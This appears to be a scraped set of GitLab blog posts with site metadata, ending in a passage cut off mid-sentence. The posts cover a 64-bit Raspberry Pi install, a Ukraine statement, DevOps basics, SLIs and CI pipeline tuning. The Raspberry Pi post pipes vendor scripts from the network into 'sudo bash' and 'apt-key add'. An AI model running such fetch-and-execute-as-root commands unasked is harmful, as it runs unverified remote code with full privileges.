Please do not rely on this information for purchasing or planning purposes.\nAs with all projects, the items mentioned in this blog post and linked pages are subject to change or delay. The development and release, and timing of any products, features or functionality remain at the sole discretion of GitLab Inc._\n\nRecently the 64-bit version of [Raspberry Pi OS](https://www.raspberrypi.com/software/) came out of a long-awaited beta, and as a Raspberry Pi enthusiast, I was eager to get my hands on it. While the 64-bit version isn't compatible with all Pi hardware, it's exciting to see the expansion of the ecosystem to allow for better access to RAM and software compatibility as 32-bit support becomes less common.\n\nBut speaking of software support - what about running GitLab on the new 64-bit OS? Did you know that GitLab already has support for [Raspberry Pi OS](/install/#raspberry-pi-os)? We even have documentation on [optomizing GitLab on a Raspberry Pi](https://docs.gitlab.com/omnibus/settings/rpi.html) for folks who want to run their self-hosted DevOps platform on simple hardware like the Pi?\n\nNow, the distribution team would want me to point out that official support for ARM64 is still [in the works](https://gitlab.com/groups/gitlab-org/-/epics/2370), but that didn't stop me from at least wanting to try to install GitLab on this exciting new platform. Remember that your mileage may vary - and don't use this in production as it isn't yet officially supported.  \n\nBut that's never stopped me before, so I grabbed my Raspberry Pi 4, a new Micro SD card, and the updated [Raspberry Pi Imager](https://downloads.raspberrypi.org/imager/imager_latest.dmg) and got started.\n\n## Getting Started\n\nThe typical [install for GitLab on the Raspberry Pi](/install/#raspberry-pi-os) assumes you have the standard 32-bit version of `raspbian/buster` that has been standard for some time. So following those steps, I ran into an error with the install script.\n\nWhen running \n\n```bash \nsudo curl -sS https://packages.gitlab.com/install/repositories/gitlab/raspberry-pi2/script.deb.sh | sudo bash\n```\n\nIt appeared to work, but if I tried to install GitLab I'd get this error\n\n```bash\n$ sudo EXTERNAL_URL=\"https://gitpi.boleary.dev\" apt-get install gitlab-ce\n\nReading package lists... Done\nBuilding dependency tree... Done\nReading state information... Done\nPackage gitlab-ce is not available, but is referred to by another package.\nThis may mean that the package is missing, has been obsoleted, or\nis only available from another source\n \nE: Package 'gitlab-ce' has no installation candidate\n```\nThat's related to the fact that specifically this version of Raspberry Pi OS isn't supported yet - but since it is a fork of Debian Linux, I was able to work around that.\n\n## Manual Installation\n\nTo get started with a slightly modified installation path, I first got the package details and appropriate prerequisite libraries installed:\n\n```bash\ncurl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash\n\nsudo apt-get update\n\nsudo apt-get install debian-archive-keyring\n\nsudo apt-get install curl gnupg apt-transport-https\n\ncurl -L https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey | sudo apt-key add -\n```\n\nThen I created a new sources list to point `apt` to for the installation with `sudo touch /etc/apt/sources.list.d/gitlab_gitlab-ce.list`\n\nNext, I manually added the Debian Buster repositories to that sources list I just created by modifying  `/etc/apt/sources.list.d/gitlab_gitlab-ce.list` to add:\n\n```\ndeb https://packages.gitlab.com/gitlab/gitlab-ce/debian/ buster main\ndeb-src https://packages.gitlab.com/gitlab/gitlab-ce/debian/ buster main\n```\n\n## Finishing Up\nFrom there, it was easy to install the 'standard' way, with apt-get handling the rest for me.\n\n```bash\nsudo apt-get update\n\nsudo EXTERNAL_URL=\"http://gitpi.boleary.dev\" apt-get install gitlab-ce\n```\n\n## Next Steps\n\nNow, those who love DNS will notice that I was pointing to a fully qualified domain name, but it points to a private address if you look up that address.\n\n```bash\ndig gitpi.boleary.dev\n; \u003C\u003C>> DiG 9.10.6 \u003C\u003C>> gitpi.boleary.dev\n;; OPT PSEUDOSECTION:\n; EDNS: version: 0, flags:; udp: 512\n;; QUESTION SECTION:\n;gitpi.boleary.dev.\t\tIN\tA\n\n;; ANSWER SECTION:\ngitpi.boleary.dev.\t300\tIN\tA\t100.64.205.40\n```\n\nIsn't that interesting?  What does it mean - can I access it from outside my house's network?  And how will I get it to work with HTTPs on that private address?\n\nFor those answers, you'll have to stay tuned to my next article about running GitLab on the Raspberry Pi: Hosting a private GitLab server with Tailscale and LetsEncrypt.\n\nPhoto by \u003Ca href=\"https://unsplash.com/@antomeneghini?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Anto Meneghini\u003C/a> on \u003Ca href=\"https://unsplash.com/s/photos/raspberries?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">Unsplash\u003C/a>\n  \n",[4144,232,1268],{"slug":14992,"featured":6,"template":678},"installing-gitlab-on-raspberry-pi-64-bit-os","content:en-us:blog:installing-gitlab-on-raspberry-pi-64-bit-os.yml","Installing Gitlab On Raspberry Pi 64 Bit Os","en-us/blog/installing-gitlab-on-raspberry-pi-64-bit-os.yml","en-us/blog/installing-gitlab-on-raspberry-pi-64-bit-os",{"_path":14998,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14999,"content":15004,"config":15008,"_id":15010,"_type":16,"title":15011,"_source":17,"_file":15012,"_stem":15013,"_extension":20},"/en-us/blog/gitlab-actions-to-date-regarding-russian-invasion-of-ukraine",{"title":15000,"description":15001,"ogTitle":15000,"ogDescription":15001,"noIndex":6,"ogImage":12013,"ogUrl":15002,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15002,"schema":15003},"GitLab actions to date regarding Russian invasion of Ukraine","Our actions to date regarding the Russian invasion of Ukraine.","https://about.gitlab.com/blog/gitlab-actions-to-date-regarding-russian-invasion-of-ukraine","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab actions to date regarding Russian invasion of Ukraine\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2022-03-11\",\n      }",{"title":15000,"description":15001,"authors":15005,"heroImage":12013,"date":15006,"body":15007,"category":299},[3532],"2022-03-11","\n\nAs a company, we are deeply saddened by the unprovoked and unjustified Russian military invasion of Ukraine, the horrific acts of violence against a sovereign nation and its people, and the terrible impact to all of those in the region, including our GitLab team members, family, and friends.\n \nWe want to extend our sympathy to all those impacted by violence and uncertainty. GitLab condemns the violence and unlawful invasion happening in Ukraine. We condemn the actions of Russia's leadership, not the people who live there.\n \n## GitLab team members\n \nGitLab has been monitoring developments closely and providing support to our team members, impacted by the violence. The health, safety, and well-being of our 13 Ukrainian team members is our first priority. We remain in daily contact with all of our team members in the affected region and have been working directly with those impacted, including their immediate family members, to provide assistance and economic support.\n\n## GitLab customers and partners\n \nGitLab is making every effort possible to ensure security and business continuity with our products. The safety and security of customer data is always a top priority for GitLab. We constantly adapt to changes in the threat environment and have added tooling and increased threat intelligence while increasing staff dedicated to our 24x7 monitoring of threats and risks to our service and environment. No GitLab.com customer data is stored or backed up in Russia or Ukraine. \n \n## Suspending new business in Russia and Belarus\n \nGitLab has suspended new business in Russia and Belarus. We recognize that the situation is dynamic and GitLab is reviewing and updating its business practices accordingly.\n\n## Supporting Ukrainians \n\nThe [Sijbrandij Foundation](https://sijbrandij.org) will match donations from GitLab team members to the following charities: [UNICEF](https://www.unicefusa.org), [Save the Children](https://www.savethechildren.org/us/where-we-work/ukraine), [Médecins Sans Frontières](https://www.msf.org/ukraine), and [Amnesty International](https://donate.amnestyusa.org/page/100216/donate/1?ea.tracking.id=MRPaidSearchFR2022&supporter.appealCode=W22XXADEVR0P&en_og_source=W22XXADEVR0P&gclid=CjwKCAiAvaGRBhBlEiwAiY-yMN5RDp6vOXa2KXZmzFWh2SlqSc3zIdnTkXfiH--g0xomMOODqFZ3VhoCxagQAvD_BwE&gclsrc=aw.ds) to help people affected by the military invasion of Ukraine. \n \nOur thoughts remain with team members, family, and friends in the region. Let's be kind to one another during this tragic period, as we hope for a peaceful resolution.\n",{"slug":15009,"featured":6,"template":678},"gitlab-actions-to-date-regarding-russian-invasion-of-ukraine","content:en-us:blog:gitlab-actions-to-date-regarding-russian-invasion-of-ukraine.yml","Gitlab Actions To Date Regarding Russian Invasion Of Ukraine","en-us/blog/gitlab-actions-to-date-regarding-russian-invasion-of-ukraine.yml","en-us/blog/gitlab-actions-to-date-regarding-russian-invasion-of-ukraine",{"_path":15015,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15016,"content":15021,"config":15026,"_id":15028,"_type":16,"title":15029,"_source":17,"_file":15030,"_stem":15031,"_extension":20},"/en-us/blog/if-its-time-to-learn-devops-heres-where-to-begin",{"title":15017,"description":15018,"ogTitle":15017,"ogDescription":15018,"noIndex":6,"ogImage":12608,"ogUrl":15019,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15019,"schema":15020},"It's time to learn DevOps and here's where to begin","DevOps is a unique blend of tech, tools and culture. Take it step-by-step and it's easy to learn. This simple guide shows you how to get started. Learn more here!","https://about.gitlab.com/blog/if-its-time-to-learn-devops-heres-where-to-begin","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"It's time to learn DevOps and here's where to begin\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-03-10\",\n      }",{"title":15017,"description":15018,"authors":15022,"heroImage":12608,"date":15023,"body":15024,"category":962,"tags":15025},[3907],"2022-03-10","\n\nIf you’re fairly new – or really new – to a DevOps team, you’ve made a great career move, but you probably [have a lot to learn](/topics/devops/devops-beginner-resources/). To truly learn DevOps, there are technologies and processes to figure out, phases to understand, and a [whole new mindset to adopt](/blog/soft-skills-are-the-key-to-your-devops-career-advancement/). \n\n## Learn DevOps, where to start?\n\nLearn DevOps? Why? Where?... Since the demand for DevOps professionals is hot and salaries for this [dynamic job sector](/blog/four-tips-to-increase-your-devops-salary/) are on the rise, there are a lot of DevOps beginners trying to figure out what to learn first. But don’t worry: We can help. \n\nWith a lot on [your learn DevOps to-do list](https://learn.gitlab.com/beginners-guide-devops/guide-to-devops), we’ll walk you through where you should start, including figuring out what DevOps is all about, the stages of the DevOps lifecycle, and the uniquely [collaborative culture](/blog/engineering-teams-collaborating-remotely/). \n\n## What DevOps is really all about\n\nIn the past, software development was done using a complicated and confusing jumble of tools and workflows. Both projects and teams often were siloed, which meant they weren’t coordinating efforts or sharing best practices. It was a frustrating and inefficient process that led to deployment traffic jams, costing teams time and money. There were a lot of headaches.\n\nThink of DevOps as a way to simplify development and deployment, while making the entire process more efficient. With DevOps, once-siloed teams, tools, and workflows are combined in a software development ecosystem. That ecosystem enables teams to plan, create and deliver more efficiently, securely, and collaboratively. \n\n## What to learn for DevOps\n\nDevOps also puts a focus on automation, shifting security left, and making practices not only repeatable but measurable. That speeds development cycles and slashes the time between designing new features and rolling them out into production.\n\nBecause of this efficiency and the enablement of teamwork, DevOps makes not only your software delivery more agile, it makes your entire company more agile. DevOps enables the business to pivot quickly, answering new and critical customer needs, responding to changes in the market and adjusting to stay ahead of the competition. \n\n## To learn DevOps, collaborate\n\nDevOps is built around a culture of collaboration that encourages teammates to share ideas and help each other. It’s not simply something that’s suggested and it’s not something that’s done in a meeting or two. Collaboration is a [core principle](/blog/4-must-know-devops-principles/) of DevOps. \n\nIt's easy to think that to learn DevOps means focusing on programming languages, security, and CI/CD. Those skills and technologies are critical but don’t dismiss the idea of collaboration. It’s about communication, and working together to create something new and to fix problems. However, DevOps professionals also collaborate with other departments, like security, marketing, and the C-suite. You’re all pulling in the same direction.\n\nIn the [2021 Global DevSecOps Survey](/developer-survey/), survey respondents consistently said communication and collaboration skills were key to their future careers. \n\n## The key stages of the DevOps lifecycle\n\nThere’s a definite flow to DevOps, with the process moving from planning and developing all the way through to deployment, monitoring, and feedback. There are three basic stages, or phases – build, test, and deploy. Within these are nine other stages that will help you produce software efficiently, reliably, and with speed and agility.\n\n- Planning focuses on everything that happens before a single line of code is written.\n- Creating is about designing and developing.\n- Verifying checks the quality of the code.\n- Packaging applications and dependencies, managing containers, and building artifacts maintains a consistent software supply chain. \n- Release, or deployment, is all about moving code updates into production as iterations are ready.\n- Configuring is focused on creating, managing, and maintaining application environments.\n- Monitoring is about checking the status of software and networks.\n- Protecting is all about securing your applications and their environment.\n- Managing runs end-to-end through your software development lifecycle, controlling permissions and processes. \n\n## What it means to shift security left\n\nDid you notice that security wasn’t one of the lifecycle stages for DevOps? Well, it’s not a single stage because it’s woven into EVERY stage. Shift left means you don’t wait to incorporate security into software at the end of a build. You consider security beginning with the initial planning stage and continue to focus on it all the way through, giving you more opportunity to avoid or find and address any issues. Shifting left enables you to make sure the code you are developing functions as intended, and that any vulnerabilities and compliance issues are caught and fixed.\n\n## Understand CI/CD\n\nFirst off, CI/CD means continuous integration and continuous delivery. Combined continuous development methodologies and practices focus on catching vulnerabilities and errors early in the development lifecycle, ensuring that all the code deployed into production complies with standards the DevOps team has established for the software being created. This helps connect development and operations teams, as well as projects, by using automation for building, testing, and deployment. \n\nCI/CD is all about  incremental code changes being made frequently and reliably – a critical part of how a DevOps platform enables an organization to automatically deliver software multiple times a day. This is key for DevOps teams and the overall business because CI/CD helps to quickly and efficiently move software updates into production, making the organization able to respond faster to customer needs. \n\n## How to get started with DevOps: dig deeper\n\nWant to learn more? Our [Beginner's guide to DevOps](https://page.gitlab.com/resources-ebook-beginners-guide-devops.html) has everything you need to get started.\n",[4103,110,2368],{"slug":15027,"featured":6,"template":678},"if-its-time-to-learn-devops-heres-where-to-begin","content:en-us:blog:if-its-time-to-learn-devops-heres-where-to-begin.yml","If Its Time To Learn Devops Heres Where To Begin","en-us/blog/if-its-time-to-learn-devops-heres-where-to-begin.yml","en-us/blog/if-its-time-to-learn-devops-heres-where-to-begin",{"_path":15033,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15034,"content":15039,"config":15044,"_id":15046,"_type":16,"title":15047,"_source":17,"_file":15048,"_stem":15049,"_extension":20},"/en-us/blog/sharing-slis-across-departments",{"title":15035,"description":15036,"ogTitle":15035,"ogDescription":15036,"noIndex":6,"ogImage":12013,"ogUrl":15037,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15037,"schema":15038},"How we share SLIs across engineering departments","The Scalability team engages with the Development department for collaborating on SLIs. The first post in this series explains how we made available information accessible for development groups.","https://about.gitlab.com/blog/sharing-slis-across-departments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we share SLIs across engineering departments\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bob Van Landuyt\"}],\n        \"datePublished\": \"2022-03-10\",\n      }",{"title":15035,"description":15036,"authors":15040,"heroImage":12013,"date":15023,"body":15042,"category":734,"tags":15043},[15041],"Bob Van Landuyt","\nAt GitLab everyone can contribute to GitLab.com's availability. We\nmeasure the availability using several Service Level Indicators (SLIs)\nBut it's not always easy to see how the features you're building are\nperforming. GitLab's features are divided amongst development groups,\nand every group has [their own dashboard](https://docs.gitlab.com/ee/development/stage_group_observability/index.html)\ndisplaying an availability score.\n\n![Stage group availability](https://about.gitlab.com/images/blogimages/2022-02-share-infrastructure-slis/2022-02-23-code_review_availability.png)\n\nWhen a group's availability goes below 99.95%, we work with the group\non figuring out why that is and how we can improve the performance or\nreliability of the features that caused their number to drop. The\n99.95% service level objective (SLO) is the same target the\ninfrastructure department has set for\n[GitLab.com availability](/handbook/engineering/infrastructure/performance-indicators/#gitlabcom-availability).\n\nBy providing specific data about how features perform on our production systems, it has become easier to recognize when it is important to prioritize performance and availability work.\n\n## Service availability on GitLab.com\n\nOur infrastructure is separated into multiple services, handling\ndifferent kinds of traffic but running the same monolithic Rails\napplication. Not all features have a similar usage pattern. For\nexample, on the service handling web requests for GitLab.com we see a\nlot more requests related to `code_review` or `team_planning` than we\ndo related to `source_code_management`. It's important that we\nlook at these in isolation as well as a service aggregate.\n\nThere's nobody who knows better how to interpret these numbers in\nfeature aggregations than the people who build these features.\n\nThis number is sourced by the same SLIs that we use to monitor\nGitLab.com's availability. We calculate this by dividing the number of\nsuccessful measurements by the total number of measurements over the\npast 28 days. A measurement could be several things, most commonly a\nrequest handled by our Rails application or a background job.\n\n## Monitoring feature and service availability\n\nFor monitoring GitLab.com we have Grafana dashboards, generated using\n[Grafonnet](https://grafana.github.io/grafonnet-lib/), that show these\nsource metrics in several dimensions. For example, these are error\nrates of our monolithic Rails application, separated by feature:\n\n![Puma SLI by feature](https://about.gitlab.com/images/blogimages/2022-02-share-infrastructure-slis/2022-02-23-puma_sli_per_feature.png)\n\nWe also generate [multiwindow, multi-burn-rate alerts](https://sre.google/workbook/alerting-on-slos/#short_and_long_windows_for_alerting)\nas defined in Google's SRE workbook.\n\n![Puma SLI error rate and requests per second](https://about.gitlab.com/images/blogimages/2022-02-share-infrastructure-slis/2022-02-23-puma_sli.png)\n\nThe red lines represent alerting thresholds for a burn rate. The\nthin threshold means we'll alert if the SLI has spent more than 5%\nof its monthly error budget in the past 6 hours. The thicker\nthreshold means we'll alert when the SLI has not met SLO for more than\n2% of measurements in the past hour.\n\nBecause both GitLab.com's availability number and the availability\nnumber for development groups are sourced by the same metrics, we\ncan provide similar alerts and graphs tailored to the\ndevelopment groups. Features with a relatively low amount of traffic would not easily show\nproblems in our bigger service aggregations. With this mechanism we can see those problems\nand put them on the radar of the teams building those features.\n\n## Building and adoption\n\nIn upcoming posts, we will talk about how we built this tooling and how we worked with other teams to have this adopted into the product prioritization process.\n\n## Related content\n\n- [Our project to provide more detailed data on the stage group dashboards](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/664)\n- [Development documentation for how to change dashboard content](https://docs.gitlab.com/ee/development/stage_group_observability/index.html)\n",[6962,1268,1444,2368],{"slug":15045,"featured":6,"template":678},"sharing-slis-across-departments","content:en-us:blog:sharing-slis-across-departments.yml","Sharing Slis Across Departments","en-us/blog/sharing-slis-across-departments.yml","en-us/blog/sharing-slis-across-departments",{"_path":15051,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15052,"content":15057,"config":15062,"_id":15064,"_type":16,"title":15065,"_source":17,"_file":15066,"_stem":15067,"_extension":20},"/en-us/blog/developing-a-successful-devops-strategy",{"title":15053,"description":15054,"ogTitle":15053,"ogDescription":15054,"noIndex":6,"ogImage":11785,"ogUrl":15055,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15055,"schema":15056},"Developing a successful DevOps strategy","Here's what it takes to build a DevOps practice that works for everyone on the team.","https://about.gitlab.com/blog/developing-a-successful-devops-strategy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Developing a successful DevOps strategy\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-03-09\",\n      }",{"title":15053,"description":15054,"authors":15058,"heroImage":11785,"date":15059,"body":15060,"category":962,"tags":15061},[711],"2022-03-09","Some 60% of developers are releasing code 2x faster than before, [thanks to DevOps](https://learn.gitlab.com/c/2021-devsecops-report?x=u5RjB), and a majority of respondents to our 2021 Global DevSecOps Survey said their teams develop software using DevOps or DevSecOps.\n\n[DevOps](/topics/devops/) has had a direct impact on many businesses. Here’s what it takes to develop a successful DevOps strategy.\n\n## What is DevOps?\n\nDevOps is a set of practices that combines dev and ops to create safer software faster.\n\nThe main DevOps principles are automation, [continuous integration and delivery](/topics/ci-cd/) and responding quickly to feedback. Others are agile planning, infrastructure as code (IaC), containerization and microservices. Also, building in quality assurance and security with development and operations through the application lifecycle is important. Incorporating security into a DevOps team is referred to as [DevSecOps](https://about.gitlab.com/topics/devsecops/).\n\nEnabling the speed of delivery while maintaining high software quality requires an [organizational culture shift](https://www.ibm.com/cloud/learn/devops-a-complete-guide) that automates and integrates the efforts of the development and ops teams – two groups that traditionally practiced separately from each other, or in silos.\nBut the best DevOps processes and cultures extend beyond development and operations to incorporate input from all application stakeholders – including platform and infrastructure engineering, security, compliance, governance, risk management, line-of-business, end users and customers – into the software development lifecycle. \n\n## What are the benefits of a successful DevOps strategy?\n\nA successful DevOps strategy puts the focus on the customer. It’s not enough to focus on developing good software because this approach justifies prolonged development and release deadlines. It also overlooks the most critical factor: the consumer of the software. Your customer doesn’t care much about the process – they just want a quality product that will address their problem.  A successful DevOps strategy puts the team in the consumer’s shoes.\n\nAnother benefit of DevOps is that it allows a variety of teams, such as operations, security or project management, to work in an [Agile](/topics/agile-delivery/) setting. While development teams have become more Agile over the years, this occurred in isolation; operations teams have found it challenging to keep up and cannot release software at the same rate. DevOps brings these teams together and accelerates the delivery of software, while keeping the quality high.\n\nShorter development cycles with DevOps produce more frequent code releases, which in turn, makes it easier to spot code defects.\n\n## What key elements make DevOps successful?\n\nLike in most situations, **communication** is key to making a DevOps strategy successful. No business team can function without it, and that goes for a DevOps team. A good DevOps strategy incorporates feedback from developers, co-workers, and key stakeholders when building new systems.\nIT roles used to be more structured and defined, and as mentioned, professionals became used to working in silos. But DevOps has changed that model and work has become more **collaborative**. Teams now need to clearly communicate expectations, requirements and deadlines.\n\nDevOps is about a willingness to **change**. Teams must let go of some of their traditional practices and be open-minded to shifting their focus away from one deliverable and onto the next as business needs and capabilities evolve and change.\n\nTeams must also **accept failure** but not get discouraged by it. Some failure is to be expected, and the concept of [“fail fast”](https://docs.gitlab.com/ee/ci/testing/fail_fast_testing.html) (so you know there’s a problem soon enough to fix it easily) is at the heart of DevOps. They should embrace the possibilities that come from trying new techniques, and not be afraid to get creative. The top teams are those that work together, exchange ideas and push the boundaries of how they work and write more creative code.\n\n## Tips for creating a DevOps roadmap\n\nHaving a standard roadmap provides a DevOps team with a high-level, strategic blueprint of what the company envisions for the product. It’s a valuable reference point for any stakeholder during the software lifecycle. A roadmap also lets ops know when the development team will have a piece of code ready for testing.\n\nWhen creating a DevOps roadmap, make sure to clearly define the objectives and goals. Ask the team what [the collective purpose is for the roadmap](https://www.productplan.com/learn/create-a-devops-roadmap/). Objectives might include:\n\n- Improving engineering and ops teams coordination\n- Creating a single source of truth\n- Building an archive of development and release practices that people can refer to over time that are based on the most effective processes. This will help improve DevOps efforts going forward.\n\nFocused, short-term goals and plans should be established. Organizations typically plan their product roadmaps between 2 and 6 months out.\n\nA common mistake businesses make when building roadmaps is to use text only. By just using word processing documents or spreadsheets, stakeholders won’t get a clear understanding of what’s a high priority, which initiatives are dependent on others and who’s responsible for what.\n\nVisual roadmaps, complete with color-coding and bars, helps stakeholders more easily understand product plans. Roadmaps should also be kept current to reflect changes within the company’s culture and business model.\n\n## What are some common challenges associated with DevOps?\n\nChange isn’t easy and the merging of development and operations may cause a few clashes, but those involved must keep in mind that building a successful DevOps team requires this integration and collaboration between both sides. \nMake a gradual move into DevOps by starting with a small product or component and build from there.\n\nThere can also be challenges with deciding what tools to use, since there are so many available. This makes selecting a tool hard, especially if there’s a lack of knowledge about the technology behind it. Using a [DevOps platform](/topics/devops-platform/) can streamline all these choices as all of the moving parts of DevOps will be available and integrated in one single offering. \n\n[Momentum for DevOps](/blog/a-snapshot-of-modern-devops-practices-today/) is clearly growing because organizations are eager to take advantage of delivering software in shorter development cycles, while enhancing innovation in more stable operating environments and with performance-driven employee teams.",[4103,2368,1899],{"slug":15063,"featured":6,"template":678},"developing-a-successful-devops-strategy","content:en-us:blog:developing-a-successful-devops-strategy.yml","Developing A Successful Devops Strategy","en-us/blog/developing-a-successful-devops-strategy.yml","en-us/blog/developing-a-successful-devops-strategy",{"_path":15069,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":15070,"content":15076,"config":15080,"_id":15082,"_type":16,"title":15083,"_source":17,"_file":15084,"_stem":15085,"_extension":20},"/en-us/blog/efficient-pipelines",{"title":15071,"description":15072,"ogTitle":15071,"ogDescription":15072,"noIndex":6,"ogImage":15073,"ogUrl":15074,"ogSiteName":1180,"ogType":1181,"canonicalUrls":15074,"schema":15075},"Extract greater efficiency from your CI pipelines","Learn some techniques to find the balance between pipeline performance and resource utilization.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667534/Blog/Hero%20Images/ci-pipeline.jpg","https://about.gitlab.com/blog/efficient-pipelines","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Extract greater efficiency from your CI pipelines\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vlad Budica\"}],\n        \"datePublished\": \"2022-03-09\",\n      }",{"title":15071,"description":15072,"authors":15077,"heroImage":15073,"date":15059,"body":15078,"category":734,"tags":15079},[13700],"\nWhen discussing efficiency, typically we need to balance two things: time and money. It's quite easy to optimize for just one of these parameters. However, that can be an oversimplification. Within some constraints, more resources (i.e., hardware and Runners) equal better performance. Yet, the exact opposite is true for other constraints. In this article, I will walk you through the process of finding the sweet spot in optimizing your GitLab CI pipeline. The principles that I'll cover work well for existing pipelines and also for new ones. Please note that this is subjective and the sweet spot might be very different for different users in different scenarios.\n\nAs we dig into the technical aspects, note that we are looking for an overall optimization of a pipeline, as opposed to just looking at a particular job. The reasoning behind it is that local optimizations might make the overall pipeline less efficient (we might generate bottlenecks).\n\nThe optimization recommendations below fall into two categories:\n- Execute fewer jobs and pipelines\n- Shorten the execution time of jobs and pipelines\n\nThe first step before modifying an aspect of a system is to understand it. Observe it in full. You need to know the overall pipeline architecture and also the current metrics for it. You need to know the total execution time, jobs that take a large amount of time to finish (any bottlenecks), and the total job workload (potential queue time) and Runner capacity – these last two go hand in hand. Finally, we can use [Directed Acyclic Graphs](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/), or DAGs, to visualize the pipeline and see the critical path (the minimum and maximum pipeline duration). We want to do this because we want to minimize as much as possible the detrimental impact doing changes can have on pipeline performance.\n\n## Execute fewer jobs and pipelines\n\nLet's look at ways of reducing the number of jobs and pipelines that get executed.\n\n### Apply rules\n\nThe first thing would be to decide what needs to be executed and when. For example, with a website, if the only change that was performed is to the text on the page, then the resulting pipeline doesn't need to contain all the tests and checks that are performed when changing the web app.\n\nThis requires the use of the [rules keyword](https://docs.gitlab.com/ee/ci/yaml/#rules). Rules are evaluated when a pipeline is created (at each trigger), and evaluated in order until the first match. When a match is found, the job is either included or excluded from the pipeline, depending on the configuration.\n\nThrough the rules keyword you can decide very precisely when a job should run or not. More information about use cases and configuration parameters can be found in the [doc page for rules](https://docs.gitlab.com/ee/ci/yaml/#rules).\n\n### Make jobs interruptible\n\nNow that jobs are only running when needed, you can focus on what happens when a new pipeline is triggered while a job is still running. This can lead to inefficiencies because we already know the job isn't running on the latest change performed on the target branch and that the results will get scrapped.\n\nThis is where the [interruptible keyword](https://docs.gitlab.com/ee/ci/yaml/#interruptible) comes in. It enables us to specify that a job can be interrupted when a newer one is triggered on the same branch. This should be coupled with the [automatic cancellation of redundant pipelines feature](https://docs.gitlab.com/ee/ci/pipelines/settings.html#auto-cancel-redundant-pipelines) so, in the end, jobs will be automatically canceled when newer pipelines are triggered.\n\nOne word of caution, use this mechanism only with jobs that are safe to stop such as a build or a test job. Don't use this with your deployment jobs as you're eventually going to end up with partial deployments. \n\nOne last point around executing fewer jobs and pipelines is to try to reschedule non-essential pipelines to as least frequent as possible. It's a balance that needs to be found between running the pipelines too often and not running them enough. Just go with the minimum acceptable by your company policy.\n\n## Shorten the execution time of jobs and pipelines\n\nThe next thing would be to find ways of making our jobs and pipelines execute in less time.\n\n### Execute jobs in parallel\n\nYou can [create DAGs in your pipelines](https://docs.gitlab.com/ee/ci/directed_acyclic_graph/) to create relationships between jobs and ensure that jobs are executed as soon as all the requirements are met if there are any and that they aren't waiting unnecessarily for other jobs to finish. By using the [needs keyword](https://docs.gitlab.com/ee/ci/yaml/#needs) together with the [parallel keyword](https://docs.gitlab.com/ee/ci/yaml/#parallel), you can implement DAGs.\n\nAnother useful mechanism to drive parallelism is [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html), which enable you to trigger concurrently running pipelines.\n\nThese offer great flexibility and by using them you can execute your workloads in parallel as efficiently as possible. This can be a double-edged sword though as DAGs and [parent-child pipelines](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html) will increase the complexity of your pipelines, making them harder to analyze and understand. Within this very complex environment, you can run into unwanted side effects such as increased cost or even reduced efficiency.\n\nThe more jobs and pipelines you run in parallel, the more load will be put on your Runner infrastructure. If you do have an autoscaling mechanism and a large enough pool of resources, this will ensure no big queues are created and that things are running smoothly, but also lead to increased infrastructure costs. On the other hand, if you don't have autoscaling or if you have lower limits for the amount of resources available, the costs will be kept in check but your overall execution time will suffer because jobs will wait longer in queues.\n\n### Fail fast\n\nIt's desirable to detect errors and critical failures as soon as possible in your jobs and pipelines, and stop the execution. If you wait until toward the end of the pipeline to fail, the whole pipeline will waste hardware resources and increase your execution and waiting times. This is easier to implement when first designing a pipeline but can be achieved as well through refactoring of your existing ones.\n\nTesting usually takes a lot of time so this means that we're waiting for the execution to finish before canceling the whole pipeline if the tests fail. What we want to do is move the jobs that run quicker earlier in the pipeline thus getting feedback sooner. To configure this behavior, use the [allow_failure keyword](https://docs.gitlab.com/ee/ci/yaml/#allow_failure) and only for jobs that when fail should fail the whole pipeline.\n\n### Caching\n\nYou can also optimize the caching of your dependencies, which will improve the execution time. This can be very useful for jobs that fail often but for which the dependencies don't change that often.\n\nTo configure this in your jobs, you should use the [cache:when keyword](https://docs.gitlab.com/ee/ci/yaml/#cachewhen).\n\n### Optimize your container images\n\nUsing big images in your pipelines can slow things down significantly, as they take longer to be pulled. So the solution would be to use smaller images. Simple, right?\n\nWell, it's not always that easy to do, so you should start by analyzing your base image and your network speed as these two will give an indication of how long it will take for the image to be pulled. The network connection we're interested in is the one between your Runner and your container registry.\n\nOnce we have this kind of information, we can decide to host the image in another container registry. If you have GitLab hosted in a public cloud you should use the container image registry provided by that provider. An alternative that works no matter where GitLab is hosted is to use the internal GitLab container registry that's included with your service.\n\nYou will get better results if instead of using a master container image that holds everything that you need to run the whole pipeline, you use multiple smaller ones that are tailored for each job. It's faster if you use custom container images and have all the tools you need pre-installed. This would also be a safer option because you can validate more thoroughly the contents of the image.\n\nMore information about this topic can be found in [Docker's \"Best practices for writing 